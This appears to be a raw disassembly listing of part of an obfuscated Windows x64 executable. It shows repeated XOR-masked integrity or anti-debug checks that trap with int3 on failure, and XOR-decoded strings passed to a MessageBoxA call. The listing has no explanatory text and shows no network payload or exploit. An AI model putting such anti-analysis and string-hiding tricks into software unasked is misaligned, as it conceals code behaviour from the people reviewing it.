xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025c4e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025c4e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025c6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x140026033
mov rax, qword gs:[0x38]
movabs rcx, 0xf6959430e7eecbd0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025d06
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025d06
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140025dd0
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025db0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025db0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025dd0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xbd
mov rdi, r15
movabs rsi, 0x134d3699f
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140026164
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x140025df6
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400df4e0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400df4a0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400df550]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x46e0bf7c
mov dword [rbp + 0xd0c], 0x97afc987
mov dword [rbp + 0xd10], 0xeb791392
mov word [rbp + 0xd14], Ordinal_143
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.1400261d8
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140025e8b
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140025f89
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025f69
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025f69
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025f89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140026033
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026013
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026013
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, 1
call fcn.14008c368
int3